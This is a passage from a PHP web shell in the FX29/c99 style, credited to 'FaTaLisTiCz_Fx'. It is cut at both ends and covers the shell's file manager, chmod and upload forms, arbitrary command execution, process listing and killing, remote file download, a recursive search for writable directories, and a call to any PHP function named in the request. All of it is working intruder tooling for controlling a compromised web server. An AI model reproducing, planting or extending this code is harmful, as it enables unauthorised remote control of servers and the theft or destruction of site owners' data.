  1401.       $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
  1402.       if (chmod($d.$f,$octet)) { $act = "ls"; $form = FALSE; $err = ""; }
  1403.       else {$err = "Can't chmod to ".$octet.".";}
  1404.     }
  1405.     if ($form) {
  1406.       $perms = parse_perms($mode);
  1407.       echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  1408.     }
  1409.   }
  1410. }
  1411. if ($act == "upload") {
  1412.   $uploadmess = "";
  1413.   $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
  1414.   if (empty($uploadpath)) {$uploadpath = $d;}
  1415.   elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;}
  1416.   if (!empty($submit)) {
  1417.     global $_FILES;
  1418.     $uploadfile = $_FILES["uploadfile"];
  1419.     if (!empty($uploadfile["tmp_name"])) {
  1420.       if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
  1421.       else {$destin = $userfilename;}
  1422.       if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
  1423.         $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";
  1424.       }
  1425.       else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; }
  1426.     }
  1427.     else { echo "No file to upload!"; }
  1428.   }
  1429.   if ($miniform) {
  1430.     echo "<b>".$uploadmess."</b>";
  1431.     $act = "ls";
  1432.   }
  1433.   else {
  1434.     echo "<table><tr><td colspan=2 class=barheader>".
  1435.          ".: File Upload :.</td>".
  1436.          "<td colspan=2>".$uploadmess."</td></tr>".
  1437.          "<tr><td><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>".
  1438.          "From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>".
  1439.          "<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>".
  1440.          "<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></td></tr>".
  1441.          "<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>".
  1442.          "<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>".
  1443.          "<tr><td></td><td><input type=submit name=submit value=\"Upload\">".
  1444.          "</form></td></tr></table>";
  1445.   }
  1446. }
  1447. if ($act == "delete") {
  1448.   $delerr = "";
  1449.   foreach ($actbox as $v) {
  1450.     $result = FALSE;
  1451.     $result = fs_rmobj($v);
  1452.     if (!$result) { $delerr .= "Can't delete ".htmlspecialchars($v)."<br>"; }
  1453.   }
  1454.   if (!empty($delerr)) { echo "<b>Error deleting:</b><br>".$delerr; }
  1455.   $act = "ls";
  1456. }
  1457. if (!$usefsbuff) {
  1458.   if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {
  1459.     echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>";
  1460.   }
  1461. }
  1462. else {
  1463.   if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); fx29_sess_put($sess_data); $act = "ls"; }
  1464.   elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); fx29_sess_put($sess_data); $act = "ls";}
  1465.   elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} fx29_sess_put($sess_data); $act = "ls";}
  1466.   if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); fx29_sess_put($sess_data);}
  1467.   elseif ($actpastebuff) {
  1468.     $psterr = "";
  1469.     foreach($sess_data["copy"] as $k=>$v) {
  1470.       $to = $d.basename($v);
  1471.       if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  1472.       if ($copy_unset) {unset($sess_data["copy"][$k]);}
  1473.     }
  1474.     foreach($sess_data["cut"] as $k=>$v) {
  1475.       $to = $d.basename($v);
  1476.       if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  1477.       unset($sess_data["cut"][$k]);
  1478.     }
  1479.     fx29_sess_put($sess_data);
  1480.     if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  1481.     $act = "ls";
  1482.   }
  1483.   elseif ($actarcbuff) {
  1484.     $arcerr = "";
  1485.     if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
  1486.     else {$ext = ".tar.gz";}
  1487.     if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
  1488.     $cmdline .= " ".$actarcbuff_path;
  1489.     $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
  1490.     foreach($objects as $v) {
  1491.       $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
  1492.       if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
  1493.       if (is_dir($v)) {
  1494.         if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
  1495.         $v .= "*";
  1496.       }
  1497.       $cmdline .= " ".$v;
  1498.     }
  1499.     $tmp = realpath(".");
  1500.     chdir($d);
  1501.     $ret = fx29exec($cmdline);
  1502.     chdir($tmp);
  1503.     if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
  1504.     $ret = str_replace("\r\n","\n",$ret);
  1505.     $ret = explode("\n",$ret);
  1506.     if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
  1507.     foreach($sess_data["cut"] as $k=>$v) {
  1508.       if (in_array($v,$ret)) {fs_rmobj($v);}
  1509.       unset($sess_data["cut"][$k]);
  1510.     }
  1511.     fx29_sess_put($sess_data);
  1512.     if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
  1513.     $act = "ls";
  1514.   }
  1515.   elseif ($actpastebuff) {
  1516.     $psterr = "";
  1517.     foreach($sess_data["copy"] as $k=>$v) {
  1518.       $to = $d.basename($v);
  1519.       if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  1520.       if ($copy_unset) {unset($sess_data["copy"][$k]);}
  1521.     }
  1522.     foreach($sess_data["cut"] as $k=>$v) {
  1523.       $to = $d.basename($v);
  1524.       if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  1525.       unset($sess_data["cut"][$k]);
  1526.     }
  1527.     fx29_sess_put($sess_data);
  1528.     if (!empty($psterr)) {echo "<b>Error pasting:</b><br>".$psterr;}
  1529.     $act = "ls";
  1530.   }
  1531. }
  1532. if ($act == "cmd") {
  1533.   @chdir($chdir);
  1534.   if (!empty($submit)) {
  1535.     echo "<div class=barheader>.: Results of Execution :.</div>\n";
  1536.     $olddir = realpath(".");
  1537.     @chdir($d);
  1538.     $ret = fx29exec($cmd);
  1539.     $ret = convert_cyr_string($ret,"d","w");
  1540.     if ($cmd_txt) {
  1541.       $rows = count(explode("\n",$ret))+1;
  1542.       if ($rows < 10) { $rows = 10; } else { $rows = 30; }
  1543.       $cols = 130;
  1544.       echo "<textarea class=shell cols=\"$cols\" rows=\"$rows\" readonly>".htmlspecialchars($ret)."</textarea>\n";
  1545.       //echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>";
  1546.     }
  1547.     else { echo $ret."<br>"; }
  1548.     @chdir($olddir);
  1549.   }
  1550. }
  1551. if ($act == "ls") {
  1552.   if (count($ls_arr) > 0) { $list = $ls_arr; }
  1553.   else {
  1554.     $list = array();
  1555.     if ($h = @opendir($d)) {
  1556.       while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
  1557.       closedir($h);
  1558.     }
  1559.   }
  1560.   if (count($list) == 0) { echo "<div class=fxerrmsg>Can't open folder (".htmlspecialchars($d).")!</div>";}
  1561.   else {
  1562.     $objects = array();
  1563.     $vd = "f"; //Viewing mode
  1564.     if ($vd == "f") {
  1565.       $objects["head"] = array();
  1566.       $objects["folders"] = array();
  1567.       $objects["links"] = array();
  1568.       $objects["files"] = array();
  1569.       foreach ($list as $v) {
  1570.         $o = basename($v);
  1571.         $row = array();
  1572.         if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}
  1573.         elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}
  1574.         elseif (is_dir($v)) {
  1575.           if (is_link($v)) {$type = "LINK";}
  1576.           else {$type = "DIR";}
  1577.           $row[] = $v;
  1578.           $row[] = $type;
  1579.         }
  1580.         elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
  1581.         $row[] = filemtime($v);
  1582.         if (!$win) {
  1583.           $ow = posix_getpwuid(fileowner($v));
  1584.           $gr = posix_getgrgid(filegroup($v));
  1585.           $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
  1586.         }
  1587.         $row[] = fileperms($v);
  1588.         if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
  1589.         elseif (is_link($v)) {$objects["links"][] = $row;}
  1590.         elseif (is_dir($v)) {$objects["folders"][] = $row;}
  1591.         elseif (is_file($v)) {$objects["files"][] = $row;}
  1592.         $i++;
  1593.       }
  1594.       $row = array();
  1595.       $row[] = "<b>Name</b>";
  1596.       $row[] = "<b>Size</b>";
  1597.       $row[] = "<b>Date Modified</b>";
  1598.       if (!$win) {$row[] = "<b>Owner/Group</b>";}
  1599.       $row[] = "<b>Perms</b>";
  1600.       $row[] = "<b>Action</b>";
  1601.       $parsesort = parsesort($sort);
  1602.       $sort = $parsesort[0].$parsesort[1];
  1603.       $k = $parsesort[0];
  1604.       if ($parsesort[1] != "a") {$parsesort[1] = "d";}
  1605.       $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
  1606.       $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
  1607.       $row[$k] .= $y;
  1608.       for($i=0;$i<count($row)-1;$i++) {
  1609.         if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
  1610.       }
  1611.       $v = $parsesort[0];
  1612.       usort($objects["folders"], "tabsort");
  1613.       usort($objects["links"], "tabsort");
  1614.       usort($objects["files"], "tabsort");
  1615.       if ($parsesort[1] == "d") {
  1616.         $objects["folders"] = array_reverse($objects["folders"]);
  1617.         $objects["files"] = array_reverse($objects["files"]);
  1618.       }
  1619.       $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
  1620.       $tab = array();
  1621.       $tab["cols"] = array($row);
  1622.       $tab["head"] = array();
  1623.       $tab["folders"] = array();
  1624.       $tab["links"] = array();
  1625.       $tab["files"] = array();
  1626.       $i = 0;
  1627.       foreach ($objects as $a) {
  1628.         $v = $a[0];
  1629.         $o = basename($v);
  1630.         $dir = dirname($v);
  1631.         if ($disp_fullpath) {$disppath = $v;}
  1632.         else {$disppath = $o;}
  1633.         $disppath = str2mini($disppath,60);
  1634.         if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
  1635.         elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
  1636.         foreach ($regxp_highlight as $r) {
  1637.           if (ereg($r[0],$o)) {
  1638.             if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; fx29shexit();}
  1639.             else {
  1640.               $r[1] = round($r[1]);
  1641.               $isdir = is_dir($v);
  1642.               if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {
  1643.                 if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
  1644.                 $disppath = $r[2].$disppath.$r[3];
  1645.                 if ($r[4]) {break;}
  1646.               }
  1647.             }
  1648.           }
  1649.         }
  1650.         $uo = urlencode($o);
  1651.         $ud = urlencode($dir);
  1652.         $uv = urlencode($v);
  1653.         $row = array();
  1654.         if ($o == ".") {
  1655.           $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;".$o."</a>";
  1656.           $row[] = "CURDIR";
  1657.         }
  1658.         elseif ($o == "..") {
  1659.           $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;".$o."</a>";
  1660.           $row[] = "UPDIR";
  1661.         }
  1662.         elseif (is_dir($v)) {
  1663.           if (is_link($v)) {
  1664.             $disppath .= " => ".readlink($v);
  1665.             $type = "LINK";
  1666.             $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;[".$disppath."]</a>";
  1667.           }
  1668.           else {
  1669.             $type = "DIR";
  1670.             $row[] =  "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;[".$disppath."]</a>";
  1671.           }
  1672.           $row[] = $type;
  1673.         }
  1674.         elseif(is_file($v)) {
  1675.           $ext = explode(".",$o);
  1676.           $c = count($ext)-1;
  1677.           $ext = $ext[$c];
  1678.           $ext = strtolower($ext);
  1679.           $row[] =  "<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$disppath."</a>";
  1680.           $row[] = view_size($a[1]);
  1681.         }
  1682.         $row[] = @date("d.m.Y H:i:s",$a[2]);
  1683.         if (!$win) { $row[] = $a[3]; }
  1684.         $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
  1685.         if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
  1686.         else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
  1687.         if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a>&nbsp;".$checkbox;}
  1688.         else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" border=\"0\"></a>&nbsp;".$checkbox;}
  1689.         if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
  1690.         elseif (is_link($v)) {$tab["links"][] = $row;}
  1691.         elseif (is_dir($v)) {$tab["folders"][] = $row;}
  1692.         elseif (is_file($v)) {$tab["files"][] = $row;}
  1693.         $i++;
  1694.       }
  1695.     }
  1696.     // Compiling table
  1697.     $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
  1698.     echo "<div class=barheader>.: ";
  1699.     if (!empty($fx_infohead)) { echo $fx_infohead; }
  1700.     else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; }
  1701.     echo " :.</div>\n";
  1702.     echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=\"".$dspact."\"><input type=hidden name=d value=".$d.">".
  1703.          "<table class=explorer>";
  1704.     foreach($table as $row) {
  1705.       echo "<tr>";
  1706.       foreach($row as $v) {echo "<td>".$v."</td>";}
  1707.       echo "</tr>\r\n";
  1708.     }
  1709.     echo "</table>".
  1710.          "<script>".
  1711.          "function ls_setcheckboxall(status) {".
  1712.          " var id = 1; var num = ".(count($table)-2).";".
  1713.          " while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }".
  1714.          "}".
  1715.          "function ls_reverse_all() {".
  1716.          " var id = 1; var num = ".(count($table)-2).";".
  1717.          " while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; }".
  1718.          "}".
  1719.          "</script>".
  1720.          "<div align=\"right\">".
  1721.          "<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">".
  1722.          "<img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
  1723.     if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) {
  1724.       echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  1725.     }
  1726.     echo "<select name=act><option value=\"".$act."\">With selected:</option>";
  1727.     echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
  1728.     echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
  1729.     if ($usefsbuff) {
  1730.       echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
  1731.       echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
  1732.       echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
  1733.     }
  1734.     echo "</select>&nbsp;<input type=submit value=\"Confirm\"></div>";
  1735.     echo "</form>";
  1736.   }
  1737. }
  1738. if ($act == "tools") { tools(); }
  1739. ##[ PHP FILESYSTEM TRICKZ (By FaTaLisTiCz_Fx) ]##
  1740. if ($act == "phpfsys") {
  1741.   echo "<div align=left>";
  1742.   $fsfunc = $phpfsysfunc;
  1743.   if ($fsfunc=="copy") {
  1744.     if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";}
  1745.     else { echo "<b>Success!</b> $arg1 copied to $arg2\n"; }
  1746.   }
  1747.   elseif ($fsfunc=="rename") {
  1748.     if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";}
  1749.     else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2\n"; }
  1750.   }
  1751.   elseif ($fsfunc=="chmod") {
  1752.     if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";}
  1753.     else { echo "<b>Perm for $arg1 changed to $arg2!</b>\n"; }
  1754.   }
  1755.   elseif ($fsfunc=="read") {
  1756.     $darg = $d.$arg1;
  1757.     if ($hasil = @file_get_contents($darg)) {
  1758.       echo "<b>Filename:</b> ".$darg."<br>";
  1759.       echo "<center><textarea cols=135 rows=30>";
  1760.       echo htmlentities($hasil);
  1761.       echo "</textarea></center>\n";
  1762.     }
  1763.     else { echo "<div class=fxerrmsg> Couldn't open ".$darg."<div>"; }
  1764.   }
  1765.   elseif ($fsfunc=="write") {
  1766.     $darg = $d.$arg1;
  1767.     if(@file_put_contents($darg,$arg2)) {
  1768.       echo "<b>Saved!</b> ".$darg;
  1769.     }
  1770.     else { echo "<div class=fxerrmsg>Can't write to $darg!</div>"; }
  1771.   }
  1772.   elseif ($fsfunc=="downloadbin") {
  1773.     $handle = fopen($arg1, "rb");
  1774.     $contents = '';
  1775.     while (!feof($handle)) {
  1776.       $contents .= fread($handle, 8192);
  1777.     }
  1778.     $r = @fopen($d.$arg2,'w');
  1779.     if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
  1780.     else { echo "<div class=fxerrmsg>Can't write to ".$d.$arg2."!</div>"; }
  1781.     fclose($r);
  1782.     fclose($handle);
  1783.   }
  1784.   elseif ($fsfunc=="download") {
  1785.     $text = implode('', file($arg1));
  1786.     if ($text) {
  1787.       $r = @fopen($d.$arg2,'w');
  1788.       if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
  1789.       else { echo "<div class=fxerrmsg>Can't write to ".$d.$arg2."!</div>"; }
  1790.       fclose($r);
  1791.     }
  1792.     else { echo "<div class=fxerrmsg>Can't download from $arg1!</div>";}
  1793.   }
  1794.   elseif ($fsfunc=='mkdir') {
  1795.     $thedir = $d.$arg1;
  1796.     if ($thedir != $d) {
  1797.       if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); }
  1798.       elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); }
  1799.       else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);}
  1800.     }
  1801.     else { echo "Can't create current dir:<b> $thedir</b>"; }
  1802.   }
  1803.   elseif ($fsfunc=='fwritabledir') {
  1804.     function recurse_dir($dir,$max_dir) {
  1805.       global $dir_count;
  1806.       $dir_count++;
  1807.       if( $cdir = dir($dir) ) {
  1808.         while( $entry = $cdir-> read() ) {
  1809.           if( $entry != '.' && $entry != '..' ) {
  1810.             if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
  1811.              if ($dir_count > $max_dir) { return; }
  1812.               echo "[".$dir_count."] ".$dir.$entry."\n";
  1813.               recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
  1814.             }
  1815.           }
  1816.         }
  1817.         $cdir->close();
  1818.       }
  1819.     }
  1820.     if (!$arg1) { $arg1 = $d; }
  1821.     if (!$arg2) { $arg2 = 10; }
  1822.     if (is_dir($arg1)) {
  1823.       echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<hr noshade size=1>";
  1824.       echo "<pre>";
  1825.       recurse_dir($arg1,$arg2);
  1826.       echo "</pre>";
  1827.       $total = $dir_count - 1;
  1828.       echo "<hr noshade size=1><b>Founds:</b> ".$total." of <b>Max</b> $arg2";
  1829.     }
  1830.     else {
  1831.       echo "<div class=fxerrmsg>Directory is not exist or permission denied!</div>";
  1832.     }
  1833.   }
  1834.   else {
  1835.     if (!$arg1) { echo "<div class=fxerrmsg>No operation! Please fill parameter [A]!</div>\n"; }
  1836.     else {
  1837.       if ($hasil = $fsfunc($arg1)) {
  1838.         echo "<b>Result of $fsfunc $arg1:</b><br>";
  1839.         if (!is_array($hasil)) { echo "$hasil\n"; }
  1840.         else {
  1841.           echo "<pre>";
  1842.           foreach ($hasil as $v) { echo $v."\n"; }
  1843.           echo "</pre>";
  1844.         }
  1845.       }
  1846.       else { echo "<div class=fxerrmsg>$fsfunc $arg1 failed!</div>\n"; }
  1847.     }
  1848.   }
  1849.   echo "</div>\n";
  1850. }
  1851. if ($act == "processes") {
  1852.   echo "<div class=barheader>.: Processes :.</div>\n";
  1853.   if (!$win) { $handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":""); }
  1854.   else { $handler = "tasklist"; }
  1855.   $ret = fx29exec($handler);
  1856.   if (!$ret) { echo "Can't execute \"".$handler."\"!"; }
  1857.   else {
  1858.     if (empty($processes_sort)) { $processes_sort = $sort_default; }
  1859.     $parsesort = parsesort($processes_sort);
  1860.     if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
  1861.     $k = $parsesort[0];
  1862.     if ($parsesort[1] != "a") {
  1863.       $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>";
  1864.     }
  1865.     else {
  1866.       $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
  1867.     }
  1868.     $ret = htmlspecialchars($ret);
  1869.     if (!$win) { //Not Windows
  1870.       if ($pid) {
  1871.         if (is_null($sig)) { $sig = 9; }
  1872.         echo "Sending signal ".$sig." to #".$pid."... ";
  1873.         if (posix_kill($pid,$sig)) { echo "OK."; } else { echo "ERROR."; }
  1874.       }
  1875.       while (ereg("  ",$ret)) { $ret = str_replace("  "," ",$ret); }
  1876.       $stack = explode("\n",$ret);
  1877.       $head = explode(" ",$stack[0]);
  1878.       unset($stack[0]);
  1879.       for($i=0;$i<count($head);$i++) {
  1880.         if ($i != $k) {
  1881.           $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";
  1882.         }
  1883.       }
  1884.       $head[$i] = "";
  1885.       $prcs = array();
  1886.       foreach ($stack as $line) {
  1887.         if (!empty($line)) {
  1888.           $line = explode(" ",$line);
  1889.           $line[10] = join(" ",array_slice($line,10));
  1890.           $line = array_slice($line,0,11);
  1891.           if ($line[0] == get_current_user()) { $line[0] = "<font color=green>".$line[0]."</font>"; }
  1892.           $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
  1893.           $prcs[] = $line;
  1894.         }
  1895.       }
  1896.     }
  1897.     //For Windows - Fixed By FaTaLisTiCz_Fx
  1898.     else {
  1899.       while (ereg("  ",$ret)) { $ret = str_replace("  "," ",$ret); }
  1900.       while (ereg("=",$ret)) { $ret = str_replace("=","",$ret); }
  1901.       $ret = convert_cyr_string($ret,"d","w");
  1902.       $stack = explode("\n",$ret);
  1903.       unset($stack[0],$stack[2]);
  1904.       $stack = array_values($stack);
  1905.       $stack[0]=str_replace("Image Name","ImageName",$stack[0]);
  1906.       $stack[0]=str_replace("Session Name","SessionName",$stack[0]);
  1907.       $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);
  1908.       $head = explode(" ",$stack[0]);
  1909.       $stack = array_slice($stack,1);
  1910.       $head = array_values($head);
  1911.       if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>"; }
  1912.       else { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" border=\"0\"></a>"; }
  1913.       if ($k > count($head)) {$k = count($head)-1;}
  1914.       for($i=0;$i<count($head);$i++) {
  1915.         if ($i != $k) { $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; }
  1916.       }
  1917.       $prcs = array();
  1918.       unset($stack[0]);
  1919.       foreach ($stack as $line) {
  1920.         if (!empty($line)) {
  1921.           $line = explode(" ",$line);
  1922.           $line[4] = str_replace(".","",$line[4]);
  1923.           $line[4] = intval($line[4]) * 1024;
  1924.           unset($line[5]);
  1925.           $prcs[] = $line;
  1926.         }
  1927.       }
  1928.     }
  1929.     $head[$k] = "<b>".$head[$k]."</b>".$y;
  1930.     $v = $processes_sort[0];
